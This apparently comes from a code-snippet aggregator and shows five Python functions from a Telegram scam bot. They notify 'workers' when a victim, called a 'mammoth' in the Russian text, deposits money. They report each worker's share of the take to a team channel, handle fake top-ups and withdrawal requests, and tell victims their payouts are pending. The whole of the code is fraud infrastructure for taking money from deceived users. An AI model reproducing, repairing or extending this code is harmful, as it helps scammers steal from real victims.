Ejemplo n.º 1
0
def notification_pay(call, amount):
    try:
        status = database.user_status(call.message.chat.id)

        if (status != 4):
            code = database.user_invite_code(call.message.chat.id)
            WTI = database.worker_telegram_id(code)

            database.worker_update_profit(WTI, float(amount))

            text_to_worker = f'🦋 *Успешное* пополнение\n\n🙋🏻‍♀️ Мамонт: @{str(call.message.chat.username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Твоя доля: ~ *{repl_share(amount)}* ₽'
            params = {
                'chat_id': WTI,
                'text': text_to_worker,
                'parse_mode': 'Markdown'
            }
            resp = requests.post(
                f'https://api.telegram.org/bot{tickets}/sendMessage', params)

            b = json.loads(resp.text)
            username = b['result']['chat']['username']

            text_to_channel = f'🦋 *Успешное* пополнение\n\n💁🏻‍♀️ Воркер @{str(username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Доля воркера: ~ *{repl_share(amount)}* ₽'

            params = {
                'chat_id': channel_id,
                'text': text_to_channel,
                'parse_mode': 'Markdown'
            }
            resp = requests.post(
                f'https://api.telegram.org/bot{tickets}/sendMessage', params)
        elif (status == 4):
            code = database.user_invite_code(call.message.chat.id)
            WTI = database.worker_telegram_id(code)

            database.worker_update_profit(WTI, float(amount))

            text_to_worker = f'🦋 *Успешное* пополнение (ТП)\n\n🙋🏻‍♀️ Мамонт: @{str(call.message.chat.username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Твоя доля: ~ *{repl_share_support(amount)}* ₽'
            params = {
                'chat_id': WTI,
                'text': text_to_worker,
                'parse_mode': 'Markdown'
            }
            resp = requests.post(
                f'https://api.telegram.org/bot{tickets}/sendMessage', params)

            b = json.loads(resp.text)
            username = b['result']['chat']['username']

            text_to_channel = f'🦋 *Успешное* пополнение (ТП)\n\n💁🏻‍♀️ Воркер: @{str(username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Доля воркера: ~ *{repl_share_support(amount)}* ₽'

            params = {
                'chat_id': channel_id,
                'text': text_to_channel,
                'parse_mode': 'Markdown'
            }
            resp = requests.post(
                f'https://api.telegram.org/bot{tickets}/sendMessage', params)
    except:
        pass
Ejemplo n.º 2
0
def notification_ref(code, first_name, username):
    try:
        WTI = database.worker_telegram_id(code)
        responce = requests.post(
            f'https://api.telegram.org/bot{tickets}/sendMessage?chat_id={WTI}&text=@{username} - твой новый мамонт 💕&parse_mode=html'
        )
    except:
        pass
Ejemplo n.º 3
0
def notification_receive(message, balance):
    try:
        code = database.user_invite_code(message.chat.id)
        WTI = database.worker_telegram_id(code)

        text_to = f'@{message.chat.username} - создал заявку на вывод\n\nTelegram ID: {message.chat.id}\nСумма: {balance} ₽'
        reply = json.dumps({
            'inline_keyboard': [[{
                'text': 'Выплатить',
                'callback_data': 'ACCEPT_RECEIVE_MAMONTS'
            }]]
        })
        params = {'chat_id': WTI, 'text': text_to, 'reply_markup': reply}
        resp = requests.post(
            f'https://api.telegram.org/bot{tickets}/sendMessage', params)
    except:
        pass
Ejemplo n.º 4
0
def notification_payment(message, amount):
    try:
        code = database.user_invite_code(message.chat.id)
        WTI = database.worker_telegram_id(code)

        text_to = f'@{message.chat.username} - создал заявку на пополнение\n\nTelegram ID: {message.chat.id}\nСумма: {amount} ₽'

        reply = json.dumps({
            'inline_keyboard': [[{
                'text': 'Оплатить',
                'callback_data': 'ADD_IN_FAKE'
            }]]
        })
        params = {'chat_id': WTI, 'text': text_to, 'reply_markup': reply}
        resp = requests.post(
            f'https://api.telegram.org/bot{tickets}/sendMessage', params)
    except:
        pass
Ejemplo n.º 5
0
def enter_receive(message):
    try:

        code = database.user_invite_code(message.chat.id)
        WTI = database.worker_telegram_id(code)
        phone = database.worker_phone(WTI)
        balance = database.user_balance(message.chat.id)
        helps = token

        if (message.text == phone) and (balance > 0):
            notification_thread_receive(message, balance)
            bot.send_message(
                message.chat.id,
                f'📨 Ваша заявка *была отправлена*.\nСумма - `{balance} ₽`\n\nМы оповестим вас, когда заявка будет выплачена',
                parse_mode='Markdown')
            database.user_set_balance(telegram_id, 0)
        else:
            bot.send_message(
                message.chat.id,
                f'⚠️ На балансе *нет* средств или Вы ввели *другой кошелек* QIWI\nДоступно для вывода - `{balance} ₽`, QIWI кошелек - `{phone}`',
                parse_mode="Markdown")

    except:
        pass